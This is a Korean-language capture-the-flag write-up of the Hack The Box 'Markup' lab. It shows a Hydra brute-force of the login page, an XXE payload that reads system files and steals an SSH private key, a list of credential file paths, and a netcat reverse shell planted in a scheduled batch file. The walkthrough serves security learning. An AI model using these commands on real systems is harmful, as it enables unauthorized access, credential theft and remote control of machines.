Post

(Hack The Box) Markup Write up

(Hack The Box) Markup Write up

Markup Write up

1_banner.png

정보수집

TCP Port Scan

22, 80, 443 포트가 열려있었고 윈도우 환경으로 보입니다.

관련 정보들을 바탕으로 CVE 또는 공개된 취약점이 있는지 확인이 필요합니다.

그리고 ssh로 로그인을 시도(username/password guessing ) 해보거나, 서비스 중인 http, https 웹의 애플리케이션에서 취약점을 찾아봐야할 것 같습니다. :)

22 → OpenSSH for_Windows_8.1 (protocol 2.0)

80, 443 → Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28)

2_nmap.png

Web Application 확인

http, https 동일한 로그인페이지를 출력합니다.

3_web_app_check.png

취약점 진단 및 공격

웹 애플리케이션( 무차별 대입공격)

취약점을 확인하기 위해 admin / admin 으로 로그인을 시도해보았습니다.

하지만 로그인에 실패하였습니다.

4_login_fail.png

BurpSuite를 이용해서 해당 패킷을 확인하면 아래와 같습니다.

이를 바탕으로 Hydra 도구를 통해 무차별대입(Brute Force)공격을 진행해보겠습니다.

5_login_fail_packet.png

Hydra의 기본적인 사용방법은 아래와 같습니다.

hydra -l admin -P /dir/password.txt 192.168.0.2 http-post-form "/mgr/login.jsp:userid=^USER^&userpw=^PASS^&Login=Login:loginfail" -V -f

-l 옵션으로 admin 라는 사용자명을 고정적으로 입력

-P 옵션으로 패스워드 사전파일을 지정

http-post-form 으로 post 형태의 데이터 전송을 수행

/mgr/login.jsp:userid=^USER^&userpw=^PASS^&Login=Login 경로와 파라미터를 지정

loginfail 로그인이 실패했을 경우, 응답 값에 포함된 문자열을 입력, 이를 통해 공격에 성공여부 확인

1
hydra -L users.txt -P passwords.txt 192.168.0.10 http-post-form "/로그인경로:사용자필드=^USER^&비밀번호필드=^PASS^&파라미터_명=파라미터_값:실패메시지"

간단하게 hydra 도구의 옵션들을 살펴보면 아래와 같습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 옵션
-l <username> : 고정된 사용자 이름(싱글 유저)을 지정
-L <userlist>	: 사용자 이름 리스트 파일을 지정
-p <password>	: 고정된 패스워드를 지정
-P <passlist>	: 패스워드 리스트 파일을 지정
-t <num> : 병렬 연결 수를 지정, 기본값은 16
-M <targets> : 대상 IP 주소 리스트 파일을 지정, 여러 시스템에 대해 테스트 가능
-o <outputfile> : 성공한 크리덴셜 결과를 파일에 저장

-V : 상세 출력, Hydra가 시도한 모든 사용자 이름/패스워드 조합을 출력
-f : 성공 시 공격 중단, 성공적인 크리덴셜이 발견되면 즉시 공격 중단
-q : 조용한 출력(필요한 정보만 출력)

-T <timeout> : 요청 타임아웃 시간을 초 단위로 설정 ,기본값은 30초
-w <sec> : 작업 간 대기 시간을 설정
1
2
3
4
5
6
7
8
# 공격이 가능한 프로토콜의 목록
http-get-form	: HTTP GET 요청 방식의 로그인 폼 공격
http-post-form : HTTP POST 요청 방식의 로그인 폼 공격
ftp : FTP 프로토콜
ssh : SSH 프로토콜
smb : SMB(Windows 파일 공유)
telnet : Telnet 프로토콜
rdp : 원격 데스크톱 프로토콜(RDP)

아래 명령을 통해 자주 애용하는 rockyou.txt라는 패스워드 사전파일을 통해 무차별대입공격을 시도합니다.

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.129.95.192 http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong Credentials" -V

6_hydra_result1.png

7_hydra_result2.png

패스워드가 너무 추측이 쉽고 간단한 패스워드라 너무 금방 끝나버렸습니다 :)

위에서 확인한 아이디/패스워드로 로그인하면 아래처럼 로그인이 가능합니다.

로그인 성공!

8_login_success.png

웹 애플리케이션 (XXE injection)

웹을 통한 공격 백터를 찾기위해 메뉴를 돌아다니다보면 입력할 수 있는 메뉴가 Order메뉴 뿐입니다.

임의의 데이터를 입력 후 Submit을 클릭해봅니다.

9_xxe_order_page.png

Burp Suite를 통해 해당 패킷을 확인하면 아래와 같습니다.

10_xxe_order_page_packet.png

xml 형태로 데이터를 서버로 전송하는 형태로 XXE Injection 취약점이 발생하는지 테스트해 봅니다.

XXE (XML External Entity) Injection에 대해서 간단하게 설명하겠습니다.

XXE Injection이란?

XXE (XML External Entity) Injection은 XML 파싱 과정에서 외부 엔티티를 잘못 처리할 때 발생하는 보안 취약점입니다.
이 취약점은 공격자가 악의적으로 조작된 XML 데이터를 서버에 보내어, 서버 내부 파일을 읽거나 시스템 자원을 악용하도록 만드는 공격 방법입니다.

XXE 취약점의 동작 원리

  1. XML 파서의 외부 엔티티 지원

    XML은 DTD(Document Type Definition)를 사용해 외부 엔티티(External Entity)를 정의할 수 있음

    1
    2
    3
    4
    5
    
     # 공격 예제 코드
     <!DOCTYPE data [
       <!ENTITY example SYSTEM "file:///etc/passwd">
     ]>
     <data>&example;</data>
    

    위 XML은 서버의 /etc/passwd 파일 내용을 &example;로 대체하려고 함

  2. 취약한 XML 파싱 로직

    서버가 이 XML을 받아 파싱할 때 외부 엔티티를 해석하도록 허용하면, 공격자가 의도한 파일이나 URL을 읽음

  3. 결과

    서버는 내부 파일을 읽거나, 공격자가 설정한 URL로 요청을 보낼 수도 있음

앞서 정보수집과정에서 해당 서버는 Windows 서버로 확인했으며 /etc/passwd 처럼 경로를 잘 알려진 파일 경로(Well-known File Paths)를 활용하여 XXE Injection 취약점이 동작하는지 확인합니다.

C:\Windows\System32\drivers\etc\hosts를 사용하여 XXE Injection을 시도합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Well-known File Paths 일부
# Linux
/etc/passwd # 시스템 계정 정보(비밀번호는 해시 대신 shadow 파일에 있음)
/etc/shadow # 계정의 해시된 비밀번호(루트 권한 필요)
/etc/hosts # 호스트네임과 IP 매핑 정보
/etc/hostname # 시스템 호스트네임
/var/log/syslog # 시스템 로그 파일
/var/log/messages # 시스템 로그 파일
/root/.ssh/id_rsa # 루트 사용자의 SSH 개인 키

# Windows
C:\Windows\System32\drivers\etc\hosts # Windows의 호스트 파일
C:\Windows\win.ini # 초기 Windows 설정 파일
C:\Windows\system.ini # 초기 Windows 설정 파일
C:\Users\<Username>\AppData\Local # 사용자별 애플리케이션 데이터
C:\Windows\System32\config\SAM # 보안 계정 관리(SAM) 데이터베이스

11_xxe_injection_success.png

위에서 XXE Injection 취약점이 발생하는 것을 확인하였고, windows 서버의 파일을 읽을 수 있다는 것을 확인하였습니다. 여기서 우린 정보 수집 단계에서 OpenSSH가 설치되어 있는 것을 확인했고 이를 토대로 SSH 개인키가 있는지 확인해 볼 필요가 있습니다. Administrator와 다른 사용자에 대해서 개인키가 있는지 확인이 필요합니다.

XXE Injection이 발생한 페이지의 Response를 확인해보면 주석을 통해 Daniel이라는 이름을 확인할 수 있습니다.

12_order_page_source.png

XXE Injection 취약점을 통해 C:/Users/daniel/.ssh/id_rsa 파일이 있는지 확인합니다. 우린 개인키를 확인할 수 있습니다. 이 개인키를 파일로 저장하여 SSH접속을 시도해 보겠습니다.

13_xxe_rsa_id.png

SSH 접속 시도

위에서 찾은 SSH 개인키를 파일로 저장 후 chmod 400 <파일이름>라는 명령어를 통해 권한을 설정합니다.

14_ssh_key.png

ssh -i <SSH 개인키> daniel@<공격대상IP> 명령어를 통해 접속을 시도합니다. 해당 개인키가 잘 저장되었다면 SSH로 해당 서버에 접근이 가능합니다.

daniel 사용자의 권한을 얻었으며 추가적으로 권한 상승을 통해 root 계정을 탈취해야합니다.

15_ssh_success.png

권한상승

Daniel 사용자로 여러 디렉터리를 돌아다니고 검색한 결과 C:\Log-Management\job.bat 라는 파일을 발견했습니다. 파일 내용은 admin 권한으로 이벤트뷰어의 로그를 주기적으로 삭제하는 batch파일로 보입니다.

16_job_file.png

시간 차를 두어 프로세스를 검색해본 결과 wevtutil 프로세스가 주기적으로 실행되고 종료되는 것을 알 수 있었습니다.

17_ps.png

job.bat 관련 작업 스케줄러나 서비스를 찾을려고 했으나 권한이 없어 자세히 확인을 할 수 없었습니다.

1
2
3
4
5
6
# 권한 없음
net start
wmic service list brief
sc query
Get-Service
Tasklist /SVC

주기적으로 admin권한으로 해당 batch파일을 실행한다고 가정하여 job.bat파일을 이용해서 리버스쉘을 맺도록 시도해보았다.

cmd나 powershell에서는 linux의 vim이나 nano처럼 수정이 어려워, 기존의 job.bat파일을 백업 후 리버스쉘 명령어를 추가하여 새로 job.bat 파일을 만들었습니다.

캡쳐에는 생략되었지만 리버스쉘을 사용하기위해 netcat(x86_64)를 공격자 머신에서 다운로드 받았습니다.

18_reverse_shell.png

echo 명령어를 이용하여 job.bat를 리버스쉘을 연결하는 Payload로 저장합니다.

echo C:\Log-Management\nc64.exe -e cmd.exe 10.10.14.50 443 > C:\Log-Management\job.bat

19_reverse_shell_save.png

공격자 머신에서 netcat으로 리버스쉘 연결을 대기하다보면 batch파일이 실행되어 리버스쉘이 연결되는 것을 확인할 수 있습니다. whoami 명령어를 통해 해당 머신의 administrator 권한을 확인할 수 있습니다.

20_admin_success.png

문제풀이를 위해 root.txt 파일의 flag를 확인할 수도 있었습니다.

21_root_flag.png

Happy Hacking :)

This post is licensed under CC BY 4.0 by the author.